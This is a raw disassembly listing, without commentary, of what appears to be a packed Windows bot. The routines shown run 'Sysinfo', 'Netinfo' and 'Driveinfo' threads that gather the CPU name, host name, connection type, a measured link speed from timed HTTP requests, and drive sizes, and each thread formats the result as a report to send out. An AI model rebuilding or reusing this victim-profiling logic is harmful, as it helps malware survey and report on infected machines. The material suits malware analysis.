		push	80000002h
		call	dword_417008
		test	eax, eax
		jnz	short loc_4086B3
		and	[ebp+var_73C], 0
		mov	[ebp+var_740], 80h
		lea	eax, [ebp+var_740]
		push	eax
		lea	eax, [ebp+var_488]
		push	eax
		lea	eax, [ebp+var_73C]
		push	eax
		push	0
		push	offset aProcessornames ; "ProcessorNameString"
		push	[ebp+var_70C]
		call	dword_41700C
		test	eax, eax
		jnz	short loc_4086A7
		push	1
		push	1
		lea	eax, [ebp+var_488]
		push	eax
		call	sub_407C2C
		add	esp, 0Ch


loc_4086A7:				; CODE XREF: sub_4083AD+2E5j
		push	[ebp+var_70C]
		call	dword_417028


loc_4086B3:				; CODE XREF: sub_4083AD+2A8j
		cmp	[ebp+var_6E4], 1
		jnz	short loc_4086C8
		mov	[ebp+var_748], offset byte_41DF10
		jmp	short loc_4086D2
; ---------------------------------------------------------------------------


loc_4086C8:				; CODE XREF: sub_4083AD+30Dj
		mov	[ebp+var_748], offset dword_4191F4


loc_4086D2:				; CODE XREF: sub_4083AD+319j
		cmp	[ebp+var_524], 1
		jnz	short loc_4086E7
		mov	[ebp+var_74C], offset byte_41DF10
		jmp	short loc_4086F1
; ---------------------------------------------------------------------------


loc_4086E7:				; CODE XREF: sub_4083AD+32Cj
		mov	[ebp+var_74C], offset dword_4191F4


loc_4086F1:				; CODE XREF: sub_4083AD+338j
		cmp	[ebp+var_6E8], 1
		jnz	short loc_408706
		mov	[ebp+var_750], offset byte_41DF10
		jmp	short loc_408710
; ---------------------------------------------------------------------------


loc_408706:				; CODE XREF: sub_4083AD+34Bj
		mov	[ebp+var_750], offset dword_4191F4


loc_408710:				; CODE XREF: sub_4083AD+357j
		lea	eax, [ebp+var_708]
		push	eax
		lea	eax, [ebp+var_6E0]
		push	eax
		push	[ebp+var_748]
		push	[ebp+var_6E4]
		push	[ebp+var_74C]
		push	[ebp+var_524]
		push	[ebp+var_750]
		push	[ebp+var_6E8]
		push	[ebp+var_4]
		push	[ebp+var_6F0]
		push	[ebp+var_738]
		call	sub_40821B
		push	eax
		push	[ebp+var_6EC]
		push	[ebp+var_514]
		push	[ebp+var_518]
		push	[ebp+var_51C]
		push	[ebp+var_710]
		push	[ebp+var_48C]
		push	offset dword_419104
		push	400h
		lea	eax, [ebp+var_408]
		push	eax
		call	sub_416BAE
		add	esp, 54h
		lea	eax, [ebp+var_408]
		push	eax
		push	offset dword_418B64
		lea	eax, [ebp+var_6C8]
		push	eax
		call	sub_40D53F
		add	esp, 0Ch
		push	[ebp+var_6CC]
		call	sub_409763
		pop	ecx
		xor	eax, eax
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn	4
sub_4083AD	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4087C4	proc near		; CODE XREF: sub_40A9CF+1B9Cp

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	1A7h
		call	sub_416B46
		pop	ecx
		mov	[ebp+var_4], eax
		cmp	[ebp+var_4], 0
		jnz	short loc_4087DE
		jmp	short locret_408806
; ---------------------------------------------------------------------------


loc_4087DE:				; CODE XREF: sub_4087C4+16j
		push	[ebp+arg_0]
		mov	eax, [ebp+var_4]
		add	eax, 4
		push	eax
		call	sub_405F67
		pop	ecx
		pop	ecx
		push	offset aSysinfoThread ;	"Sysinfo thread"
		push	0
		push	[ebp+var_4]
		push	offset sub_4083AD
		call	sub_4095A4
		add	esp, 10h

locret_408806:				; CODE XREF: sub_4087C4+18j
		leave
		retn
sub_4087C4	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_408808	proc near		; CODE XREF: sub_408887+Bp
					; sub_408887+19p ...

var_2C		= dword	ptr -2Ch
var_28		= byte ptr -28h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 2Ch
		push	[ebp+arg_0]
		lea	eax, [ebp+var_28]
		push	eax
		call	sub_416B3A	; strcpy
		pop	ecx
		pop	ecx
		lea	eax, [ebp+var_28]
		push	eax
		call	sub_4105FB
		pop	ecx
		call	sub_416B64
		mov	[ebp+var_4], eax
		push	7D0h
		push	0
		push	offset a80	; "80"
		lea	eax, [ebp+var_28]
		push	eax
		call	sub_4050EA
		add	esp, 10h
		mov	[ebp+var_8], eax
		push	[ebp+var_8]
		call	sub_4053B1
		pop	ecx
		cmp	[ebp+var_8], 0
		jnz	short loc_40885F
		mov	eax, 3E8h
		jmp	short locret_408885
; ---------------------------------------------------------------------------


loc_40885F:				; CODE XREF: sub_408808+4Ej
		call	sub_416B64
		sub	eax, [ebp+var_4]
		cmp	eax, 3E8h
		jnb	short loc_40887B
		call	sub_416B64
		sub	eax, [ebp+var_4]
		mov	[ebp+var_2C], eax
		jmp	short loc_408882
; ---------------------------------------------------------------------------


loc_40887B:				; CODE XREF: sub_408808+64j
		mov	[ebp+var_2C], 3E8h


loc_408882:				; CODE XREF: sub_408808+71j
		mov	eax, [ebp+var_2C]

locret_408885:				; CODE XREF: sub_408808+55j
		leave
		retn
sub_408808	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_408887	proc near		; CODE XREF: sub_408B30+1C2p
					; sub_40CA29+1E9p ...

var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		sub	esp, 18h
		push	offset dword_418F60
		call	sub_408808
		pop	ecx
		mov	[ebp+var_4], eax
		push	offset dword_418F6C
		call	sub_408808
		pop	ecx
		mov	[ebp+var_8], eax
		push	offset dword_418F84
		call	sub_408808
		pop	ecx
		mov	[ebp+var_C], eax
		push	offset dword_418F90
		call	sub_408808
		pop	ecx
		mov	[ebp+var_10], eax
		push	offset dword_418FA0
		call	sub_408808
		pop	ecx
		mov	[ebp+var_14], eax
		push	offset dword_418FB0
		call	sub_408808
		pop	ecx
		mov	[ebp+var_18], eax
		mov	eax, [ebp+var_4]
		add	eax, [ebp+var_8]
		add	eax, [ebp+var_C]
		add	eax, [ebp+var_10]
		add	eax, [ebp+var_14]
		add	eax, [ebp+var_18]
		xor	edx, edx
		push	6
		pop	ecx
		div	ecx
		leave
		retn
sub_408887	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4088FC	proc near		; CODE XREF: sub_408B30:loc_408D33p

var_438		= qword	ptr -438h
var_430		= dword	ptr -430h
var_42C		= qword	ptr -42Ch
var_424		= dword	ptr -424h
var_420		= dword	ptr -420h
var_41C		= dword	ptr -41Ch
var_418		= byte ptr -418h
var_318		= dword	ptr -318h
var_314		= dword	ptr -314h
var_310		= dword	ptr -310h
var_30C		= dword	ptr -30Ch
var_308		= byte ptr -308h
var_208		= byte ptr -208h
var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		sub	esp, 438h
		and	[ebp+var_8], 0
		jmp	short loc_408912
; ---------------------------------------------------------------------------


loc_40890B:				; CODE XREF: sub_4088FC+23j
		mov	eax, [ebp+var_8]
		inc	eax
		mov	[ebp+var_8], eax


loc_408912:				; CODE XREF: sub_4088FC+Dj
		mov	eax, [ebp+var_8]
		cmp	off_418FC4[eax*4], 0
		jz	short loc_408921
		jmp	short loc_40890B
; ---------------------------------------------------------------------------


loc_408921:				; CODE XREF: sub_4088FC+21j
		mov	eax, [ebp+var_8]
		shr	eax, 1
		mov	[ebp+var_8], eax
		and	[ebp+var_4], 0
		jmp	short loc_408936
; ---------------------------------------------------------------------------


loc_40892F:				; CODE XREF: sub_4088FC+D6j
		mov	eax, [ebp+var_4]
		inc	eax
		mov	[ebp+var_4], eax


loc_408936:				; CODE XREF: sub_4088FC+31j
		cmp	[ebp+var_4], 3
		jnb	loc_408B2C
		mov	eax, [ebp+var_8]
		dec	eax
		push	eax
		push	0
		call	sub_4103F5
		pop	ecx
		pop	ecx
		mov	[ebp+var_318], eax
		mov	eax, [ebp+var_318]
		shl	eax, 1
		push	off_418FC4[eax*4]
		lea	eax, [ebp+var_418]
		push	eax
		call	sub_416B3A	; strcpy
		pop	ecx
		pop	ecx
		lea	eax, [ebp+var_418]
		push	eax
		call	sub_4105FB
		pop	ecx
		mov	eax, [ebp+var_318]
		shl	eax, 1
		push	off_418FC8[eax*4]
		lea	eax, [ebp+var_308]
		push	eax
		call	sub_416B3A	; strcpy
		pop	ecx
		pop	ecx
		lea	eax, [ebp+var_308]
		push	eax
		call	sub_4105FB
		pop	ecx
		push	2710h
		push	0
		push	offset a80	; "80"
		lea	eax, [ebp+var_418]
		push	eax
		call	sub_4050EA
		add	esp, 10h
		mov	[ebp+var_310], eax
		cmp	[ebp+var_310], 0
		jnz	short loc_4089D7
		jmp	loc_40892F
; ---------------------------------------------------------------------------


loc_4089D7:				; CODE XREF: sub_4088FC+D4j
		lea	eax, [ebp+var_418]
		push	eax
		lea	eax, [ebp+var_308]
		push	eax
		push	offset aGetSHttp1_0Hos ; "GET /%s HTTP/1.0\r\nHost: %s\r\n\r\n"
		push	200h
		lea	eax, [ebp+var_208]
		push	eax
		call	sub_416BAE
		add	esp, 14h
		lea	eax, [ebp+var_208]
		push	eax
		call	sub_416B40
		pop	ecx
		push	eax
		lea	eax, [ebp+var_208]
		push	eax
		push	[ebp+var_310]
		call	sub_4053BF
		add	esp, 0Ch
		and	[ebp+var_314], 0
		call	sub_416B64
		mov	[ebp+var_41C], eax
		and	[ebp+var_30C], 0


loc_408A3A:				; CODE XREF: sub_4088FC+1AFj
					; sub_4088FC+22Bj
		push	1388h
		push	200h
		lea	eax, [ebp+var_208]
		push	eax
		push	[ebp+var_310]
		call	sub_405443
		add	esp, 10h
		mov	[ebp+var_420], eax
		cmp	[ebp+var_420], 0
		jz	short loc_408A93
		cmp	[ebp+var_420], 0FFFFFFFFh
		jz	short loc_408A93
		call	sub_416B64
		sub	eax, [ebp+var_41C]
		cmp	eax, 1388h
		jnb	short loc_408A93
		cmp	[ebp+var_30C], 100000h
		jb	loc_408B15


loc_408A93:				; CODE XREF: sub_4088FC+16Aj
					; sub_4088FC+173j ...
		cmp	[ebp+var_30C], 2000h
		jnb	short loc_408AAD
		push	[ebp+var_310]
		call	sub_40538D
		pop	ecx
		jmp	short loc_408A3A
; ---------------------------------------------------------------------------


loc_408AAD:				; CODE XREF: sub_4088FC+1A1j
		mov	eax, [ebp+var_30C]
		mov	dword ptr [ebp+var_42C], eax
		and	dword ptr [ebp+var_42C+4], 0
		fild	[ebp+var_42C]
		fstp	[ebp+var_430]
		call	sub_416B64
		sub	eax, [ebp+var_41C]
		mov	dword ptr [ebp+var_438], eax
		and	dword ptr [ebp+var_438+4], 0
		fild	[ebp+var_438]
		fdiv	flt_417270
		fdivr	[ebp+var_430]
		call	sub_416CF8
		mov	[ebp+var_424], eax
		push	[ebp+var_310]
		call	sub_40538D
		pop	ecx
		mov	eax, [ebp+var_424]
		jmp	short locret_408B2E
; ---------------------------------------------------------------------------


loc_408B15:				; CODE XREF: sub_4088FC+191j
		mov	eax, [ebp+var_30C]
		add	eax, [ebp+var_420]
		mov	[ebp+var_30C], eax
		jmp	loc_408A3A
; ---------------------------------------------------------------------------


loc_408B2C:				; CODE XREF: sub_4088FC+3Ej
		xor	eax, eax

locret_408B2E:				; CODE XREF: sub_4088FC+217j
		leave
		retn
sub_4088FC	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_408B30	proc near		; DATA XREF: sub_408E4A+35o

var_A9C		= qword	ptr -0A9Ch
var_A7C		= qword	ptr -0A7Ch
var_A74		= dword	ptr -0A74h
var_A70		= dword	ptr -0A70h
var_A6C		= dword	ptr -0A6Ch
var_A68		= dword	ptr -0A68h
var_A64		= dword	ptr -0A64h
var_A60		= dword	ptr -0A60h
var_A5C		= byte ptr -0A5Ch
var_8B8		= dword	ptr -8B8h
var_8B4		= dword	ptr -8B4h
var_8B0		= byte ptr -8B0h
var_830		= dword	ptr -830h
var_82C		= dword	ptr -82Ch
var_828		= dword	ptr -828h
var_824		= dword	ptr -824h
var_820		= dword	ptr -820h
var_81C		= dword	ptr -81Ch
var_818		= dword	ptr -818h
var_814		= byte ptr -814h
var_414		= byte ptr -414h
var_10		= byte ptr -10h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 0A7Ch
		push	1A7h
		push	[ebp+arg_0]
		lea	eax, [ebp+var_A60]
		push	eax
		call	sub_416B52
		add	esp, 0Ch
		push	[ebp+arg_0]
		call	sub_416B4C
		pop	ecx
		push	offset dword_41F028
		lea	eax, [ebp+var_414]
		push	eax
		call	sub_416B3A	; strcpy
		pop	ecx
		pop	ecx
		lea	eax, [ebp+var_824]
		push	eax
		push	0
		push	0
		push	offset dword_41F028
		call	dword_41DF64	; getaddrinfo
		test	eax, eax
		jnz	short loc_408BBC
		push	1
		push	0
		push	0
		push	401h
		lea	eax, [ebp+var_414]
		push	eax
		mov	eax, [ebp+var_824]
		push	dword ptr [eax+10h]
		mov	eax, [ebp+var_824]
		push	dword ptr [eax+18h]
		call	dword_41DF68	; getnameinfo
		push	[ebp+var_824]
		call	dword_41DF6C	; freeaddrinfo


loc_408BBC:				; CODE XREF: sub_408B30+54j
		call	sub_409318
		mov	[ebp+var_8B8], eax
		mov	eax, [ebp+var_8B8]
		xor	edx, edx
		mov	ecx, 15180h
		div	ecx
		mov	[ebp+var_830], eax
		mov	eax, [ebp+var_8B8]
		xor	edx, edx
		mov	ecx, 15180h
		div	ecx
		mov	eax, edx
		xor	edx, edx
		mov	ecx, 0E10h
		div	ecx
		mov	[ebp+var_820], eax
		mov	eax, [ebp+var_8B8]
		xor	edx, edx
		mov	ecx, 15180h
		div	ecx
		mov	eax, edx
		xor	edx, edx
		mov	ecx, 0E10h
		div	ecx
		mov	eax, edx
		xor	edx, edx
		push	3Ch
		pop	ecx
		div	ecx
		mov	[ebp+var_82C], eax
		push	offset aUnknown_0 ; "Unknown"
		lea	eax, [ebp+var_8B0]
		push	eax
		call	sub_416B3A	; strcpy
		pop	ecx
		pop	ecx
		push	offset aUnknown_0 ; "Unknown"
		lea	eax, [ebp+var_10]
		push	eax
		call	sub_416B3A	; strcpy
		pop	ecx
		pop	ecx
		cmp	dword_41DF5C, 0
		jz	short loc_408C9F
		push	0
		push	80h
		lea	eax, [ebp+var_8B0]
		push	eax
		lea	eax, [ebp+var_818]
		push	eax
		call	dword_41DF5C	; InternetGetConnectedStateExA
		test	eax, eax
		jz	short loc_408C9F
		mov	eax, [ebp+var_818]
		and	eax, 1
		test	eax, eax
		jz	short loc_408C8F
		push	offset aModem	; "Modem"
		lea	eax, [ebp+var_10]
		push	eax
		call	sub_416B3A	; strcpy
		pop	ecx
		pop	ecx
		jmp	short loc_408C9F
; ---------------------------------------------------------------------------


loc_408C8F:				; CODE XREF: sub_408B30+14Bj
		push	offset aLan	; "LAN"
		lea	eax, [ebp+var_10]
		push	eax
		call	sub_416B3A	; strcpy
		pop	ecx
		pop	ecx


loc_408C9F:				; CODE XREF: sub_408B30+11Fj
					; sub_408B30+13Ej ...
		call	sub_4043E9
		test	eax, eax
		jz	short loc_408CB4
		mov	[ebp+var_A64], offset aYes ; "Yes"
		jmp	short loc_408CBE
; ---------------------------------------------------------------------------


loc_408CB4:				; CODE XREF: sub_408B30+176j
		mov	[ebp+var_A64], offset aNo ; "No"


loc_408CBE:				; CODE XREF: sub_408B30+182j
		mov	eax, [ebp+var_A64]
		mov	[ebp+var_8], eax
		call	sub_404279
		test	eax, eax
		jz	short loc_408CDC
		mov	[ebp+var_A68], offset aYes ; "Yes"
		jmp	short loc_408CE6
; ---------------------------------------------------------------------------


loc_408CDC:				; CODE XREF: sub_408B30+19Ej
		mov	[ebp+var_A68], offset aNo ; "No"


loc_408CE6:				; CODE XREF: sub_408B30+1AAj
		mov	eax, [ebp+var_A68]
		mov	[ebp+var_8B4], eax
		call	sub_408887
		mov	[ebp+var_828], eax
		mov	[ebp+var_81C], offset aBad ; "Bad"
		cmp	[ebp+var_828], 2EEh
		jnb	short loc_408D1D
		mov	[ebp+var_81C], offset aAvarage ; "Avarage"


loc_408D1D:				; CODE XREF: sub_408B30+1E1j
		cmp	[ebp+var_828], 1F4h
		jnb	short loc_408D33
		mov	[ebp+var_81C], offset aGood ; "Good"


loc_408D33:				; CODE XREF: sub_408B30+1F7j
		call	sub_4088FC
		mov	[ebp+var_4], eax
		cmp	[ebp+var_82C], 1
		jnz	short loc_408D50
		mov	[ebp+var_A6C], offset byte_41DF10
		jmp	short loc_408D5A
; ---------------------------------------------------------------------------


loc_408D50:				; CODE XREF: sub_408B30+212j
		mov	[ebp+var_A6C], offset dword_4191F4


loc_408D5A:				; CODE XREF: sub_408B30+21Ej
		cmp	[ebp+var_820], 1
		jnz	short loc_408D6F
		mov	[ebp+var_A70], offset byte_41DF10
		jmp	short loc_408D79
; ---------------------------------------------------------------------------


loc_408D6F:				; CODE XREF: sub_408B30+231j
		mov	[ebp+var_A70], offset dword_4191F4


loc_408D79:				; CODE XREF: sub_408B30+23Dj
		cmp	[ebp+var_830], 1
		jnz	short loc_408D8E
		mov	[ebp+var_A74], offset byte_41DF10
		jmp	short loc_408D98
; ---------------------------------------------------------------------------


loc_408D8E:				; CODE XREF: sub_408B30+250j
		mov	[ebp+var_A74], offset dword_4191F4


loc_408D98:				; CODE XREF: sub_408B30+25Cj
		push	[ebp+var_A6C]
		push	[ebp+var_82C]
		push	[ebp+var_A70]
		push	[ebp+var_820]
		push	[ebp+var_A74]
		push	[ebp+var_830]
		mov	eax, [ebp+var_4]
		mov	dword ptr [ebp+var_A7C], eax
		and	dword ptr [ebp+var_A7C+4], 0
		fild	[ebp+var_A7C]
		fdiv	flt_417274
		push	ecx
		push	ecx
		fstp	[esp+0A9Ch+var_A9C]
		push	[ebp+var_828]
		push	[ebp+var_81C]
		push	[ebp+var_8B4]
		push	[ebp+var_8]
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_8B0]
		push	eax
		lea	eax, [ebp+var_414]
		push	eax
		push	offset dword_419284
		push	400h
		lea	eax, [ebp+var_814]
		push	eax
		call	sub_416BAE
		add	esp, 48h
		lea	eax, [ebp+var_814]
		push	eax
		push	offset dword_418B64
		lea	eax, [ebp+var_A5C]
		push	eax
		call	sub_40D53F
		add	esp, 0Ch
		push	[ebp+var_A60]
		call	sub_409763
		pop	ecx
		xor	eax, eax
		leave
		retn	4
sub_408B30	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_408E4A	proc near		; CODE XREF: sub_40A9CF+1BD8p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	1A7h
		call	sub_416B46
		pop	ecx
		mov	[ebp+var_4], eax
		cmp	[ebp+var_4], 0
		jnz	short loc_408E64
		jmp	short locret_408E8C
; ---------------------------------------------------------------------------


loc_408E64:				; CODE XREF: sub_408E4A+16j
		push	[ebp+arg_0]
		mov	eax, [ebp+var_4]
		add	eax, 4
		push	eax
		call	sub_405F67
		pop	ecx
		pop	ecx
		push	offset aNetinfoThread ;	"Netinfo thread"
		push	0
		push	[ebp+var_4]
		push	offset sub_408B30
		call	sub_4095A4
		add	esp, 10h

locret_408E8C:				; CODE XREF: sub_408E4A+18j
		leave
		retn
sub_408E4A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_408E8E	proc near		; CODE XREF: sub_40CA29+1C5p
					; sub_40CA29+2DAp ...

var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= byte ptr -18h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= byte ptr -8

		push	ebp
		mov	ebp, esp
		sub	esp, 24h
		mov	eax, dword_419398
		mov	[ebp+var_1C], eax
		and	[ebp+var_10], 0
		and	[ebp+var_C], 0


loc_408EA4:				; CODE XREF: sub_408E8E+95j
		lea	eax, [ebp+var_1C]
		push	eax
		call	dword_4170CC
		mov	[ebp+var_10], eax
		cmp	[ebp+var_10], 0
		jz	short loc_408F14
		cmp	[ebp+var_10], 1
		jz	short loc_408F14
		cmp	[ebp+var_10], 5
		jz	short loc_408EE1
		cmp	[ebp+var_10], 2
		jz	short loc_408EE1
		lea	eax, [ebp+var_24]
		push	eax
		lea	eax, [ebp+var_18]
		push	eax
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_1C]
		push	eax
		call	dword_4170C8
		jmp	short loc_408EF1
; ---------------------------------------------------------------------------


loc_408EE1:				; CODE XREF: sub_408E8E+33j
					; sub_408E8E+39j
		push	8
		push	0
		lea	eax, [ebp+var_24]
		push	eax
		call	sub_416B6A
		add	esp, 0Ch


loc_408EF1:				; CODE XREF: sub_408E8E+51j
		push	0
		push	100000h
		push	[ebp+var_20]
		push	[ebp+var_24]
		call	sub_416C90
		mov	[ebp+var_24], eax
		mov	[ebp+var_20], edx
		mov	eax, [ebp+var_24]
		mov	ecx, [ebp+var_C]
		add	ecx, eax
		mov	[ebp+var_C], ecx


loc_408F14:				; CODE XREF: sub_408E8E+27j
					; sub_408E8E+2Dj
		mov	al, byte ptr [ebp+var_1C]
		add	al, 1
		mov	byte ptr [ebp+var_1C], al
		movsx	eax, byte ptr [ebp+var_1C]
		cmp	eax, 5Ah
		jnz	loc_408EA4
		mov	eax, [ebp+var_C]
		leave
		retn
sub_408E8E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_408F2E	proc near		; DATA XREF: sub_4091E2+35o

var_5DC		= dword	ptr -5DCh
var_5D8		= dword	ptr -5D8h
var_5D4		= dword	ptr -5D4h
var_5D0		= byte ptr -5D0h
var_42C		= dword	ptr -42Ch
var_428		= dword	ptr -428h
var_424		= dword	ptr -424h
var_420		= byte ptr -420h
var_418		= dword	ptr -418h
var_414		= dword	ptr -414h
var_410		= dword	ptr -410h
var_40C		= byte ptr -40Ch
var_404		= byte ptr -404h
var_3EF		= byte ptr -3EFh
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 5DCh
		push	esi
		push	edi
		push	1A7h
		push	[ebp+arg_0]
		lea	eax, [ebp+var_5D4]
		push	eax
		call	sub_416B52
		add	esp, 0Ch
		push	[ebp+arg_0]
		call	sub_416B4C
		pop	ecx
		push	5
		pop	ecx
		mov	esi, offset aDriveInformati ; "Drive information - "
		lea	edi, [ebp+var_404]
		rep movsd
		movsb
		mov	ecx, 0FAh
		xor	eax, eax
		lea	edi, [ebp+var_3EF]
		rep stosd
		stosw
		stosb
		mov	eax, dword_419398
		mov	[ebp+var_424], eax
		and	[ebp+var_418], 0
		and	[ebp+var_5D8], 0
		and	[ebp+var_414], 0
		mov	[ebp+var_410], 1


loc_408FA6:				; CODE XREF: sub_408F2E+23Bj
		lea	eax, [ebp+var_424]
		push	eax
		call	dword_4170CC
		mov	[ebp+var_5DC], eax
		cmp	[ebp+var_5DC], 0
		jz	loc_409151
		cmp	[ebp+var_5DC], 1
		jz	loc_409151
		cmp	[ebp+var_5DC], 2
		jnz	short loc_408FE5
		mov	[ebp+var_4], offset aRemovable ; "removable"
		jmp	short loc_409034
; ---------------------------------------------------------------------------


loc_408FE5:				; CODE XREF: sub_408F2E+ACj
		cmp	[ebp+var_5DC], 3
		jnz	short loc_408FF7
		mov	[ebp+var_4], offset aFixed ; "fixed"
		jmp	short loc_409034
; ---------------------------------------------------------------------------


loc_408FF7:				; CODE XREF: sub_408F2E+BEj
		cmp	[ebp+var_5DC], 4
		jnz	short loc_409009
		mov	[ebp+var_4], offset aRemote ; "remote"
		jmp	short loc_409034
; ---------------------------------------------------------------------------


loc_409009:				; CODE XREF: sub_408F2E+D0j
		cmp	[ebp+var_5DC], 5
		jnz	short loc_40901B
		mov	[ebp+var_4], offset aCdRom ; "cd-rom"
		jmp	short loc_409034
; ---------------------------------------------------------------------------


loc_40901B:				; CODE XREF: sub_408F2E+E2j
		cmp	[ebp+var_5DC], 6
		jnz	short loc_40902D
		mov	[ebp+var_4], offset aRamdisk ; "ramdisk"
		jmp	short loc_409034
; ---------------------------------------------------------------------------


loc_40902D:				; CODE XREF: sub_408F2E+F4j
		mov	[ebp+var_4], offset aUnknown ; "unknown"


loc_409034:				; CODE XREF: sub_408F2E+B5j
					; sub_408F2E+C7j ...
		cmp	[ebp+var_5DC], 5
		jz	short loc_40906A
		cmp	[ebp+var_5DC], 2
		jz	short loc_40906A
		lea	eax, [ebp+var_42C]
		push	eax
		lea	eax, [ebp+var_420]
		push	eax
		lea	eax, [ebp+var_40C]
		push	eax
		lea	eax, [ebp+var_424]
		push	eax
		call	dword_4170C8
		jmp	short loc_40907D
; ---------------------------------------------------------------------------


loc_40906A:				; CODE XREF: sub_408F2E+10Dj
					; sub_408F2E+116j
		push	8
		push	0
		lea	eax, [ebp+var_42C]
		push	eax
		call	sub_416B6A
		add	esp, 0Ch


loc_40907D:				; CODE XREF: sub_408F2E+13Aj
		push	0
		push	100000h
		push	[ebp+var_428]
		push	[ebp+var_42C]
		call	sub_416C90
		mov	[ebp+var_42C], eax
		mov	[ebp+var_428], edx
		cmp	[ebp+var_410], 0
		jnz	short loc_4090BF
		push	offset dword_419404
		lea	eax, [ebp+var_404]
		push	eax
		call	sub_416B70
		pop	ecx
		pop	ecx
		jmp	short loc_4090C6
; ---------------------------------------------------------------------------


loc_4090BF:				; CODE XREF: sub_408F2E+17Aj
		and	[ebp+var_410], 0


loc_4090C6:				; CODE XREF: sub_408F2E+18Fj
		mov	eax, [ebp+var_42C]
		or	eax, [ebp+var_428]
		test	eax, eax
		jz	short loc_40910A
		push	[ebp+var_428]
		push	[ebp+var_42C]
		push	[ebp+var_4]
		lea	eax, [ebp+var_424]
		push	eax
		lea	eax, [ebp+var_404]
		push	eax
		push	offset dword_4193E4
		lea	eax, [ebp+var_404]
		push	eax
		call	dword_4171E0
		add	esp, 1Ch
		jmp	short loc_409130
; ---------------------------------------------------------------------------


loc_40910A:				; CODE XREF: sub_408F2E+1A6j
		push	[ebp+var_4]
		lea	eax, [ebp+var_424]
		push	eax
		lea	eax, [ebp+var_404]
		push	eax
		push	offset dword_4193D4
		lea	eax, [ebp+var_404]
		push	eax
		call	dword_4171E0
		add	esp, 14h


loc_409130:				; CODE XREF: sub_408F2E+1DAj
		mov	eax, [ebp+var_42C]
		mov	ecx, [ebp+var_414]
		add	ecx, eax
		mov	[ebp+var_414], ecx
		mov	eax, [ebp+var_5D8]
		inc	eax
		mov	[ebp+var_5D8], eax


loc_409151:				; CODE XREF: sub_408F2E+92j
					; sub_408F2E+9Fj
		mov	al, byte ptr [ebp+var_424]
		add	al, 1
		mov	byte ptr [ebp+var_424],	al
		movsx	eax, byte ptr [ebp+var_424]
		cmp	eax, 5Ah
		jnz	loc_408FA6
		cmp	[ebp+var_5D8], 0
		jz	short loc_40918B
		push	offset dword_419404
		lea	eax, [ebp+var_404]
		push	eax
		call	sub_416B70
		pop	ecx
		pop	ecx


loc_40918B:				; CODE XREF: sub_408F2E+248j
		push	[ebp+var_414]
		push	[ebp+var_5D8]
		lea	eax, [ebp+var_404]
		push	eax
		push	offset dword_41939C
		lea	eax, [ebp+var_404]
		push	eax
		call	dword_4171E0
		add	esp, 14h
		lea	eax, [ebp+var_404]
		push	eax
		push	offset dword_418B64
		lea	eax, [ebp+var_5D0]
		push	eax
		call	sub_40D53F
		add	esp, 0Ch
		push	[ebp+var_5D4]
		call	sub_409763
		pop	ecx
		xor	eax, eax
		pop	edi
		pop	esi
		leave
		retn	4
sub_408F2E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4091E2	proc near		; CODE XREF: sub_40A9CF+1C61p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	1A7h
		call	sub_416B46
		pop	ecx
		mov	[ebp+var_4], eax
		cmp	[ebp+var_4], 0
		jnz	short loc_4091FC
		jmp	short locret_409224
; ---------------------------------------------------------------------------


loc_4091FC:				; CODE XREF: sub_4091E2+16j
		push	[ebp+arg_0]
		mov	eax, [ebp+var_4]
		add	eax, 4
		push	eax
		call	sub_405F67
		pop	ecx
		pop	ecx
		push	offset aDriveinfoThrea ; "Driveinfo thread"
		push	0
		push	[ebp+var_4]
		push	offset sub_408F2E
		call	sub_4095A4
		add	esp, 10h

locret_409224:				; CODE XREF: sub_4091E2+18j
		leave
		retn
sub_4091E2	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_409226	proc near		; CODE XREF: .packed:00416A06p

var_20		= qword	ptr -20h
var_18		= qword	ptr -18h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		sub	esp, 18h
		lea	eax, [ebp+var_8]
		push	eax
		call	dword_4170D8
		lea	eax, [ebp+var_10]
		push	eax
		call	dword_4170D4
		cmp	[ebp+var_4], 0
		jl	short loc_40928E
		jg	short loc_40924E
		cmp	[ebp+var_8], 0
		jbe	short loc_40928E


loc_40924E:				; CODE XREF: sub_409226+20j
		cmp	[ebp+var_C], 0
		jl	short loc_40928E
		jg	short loc_40925C
		cmp	[ebp+var_10], 0
		jbe	short loc_40928E


loc_40925C:				; CODE XREF: sub_409226+2Ej
		push	[ebp+var_C]
		push	[ebp+var_10]
		push	[ebp+var_4]
		push	[ebp+var_8]
		call	sub_416D10
		mov	dword ptr [ebp+var_18],	eax
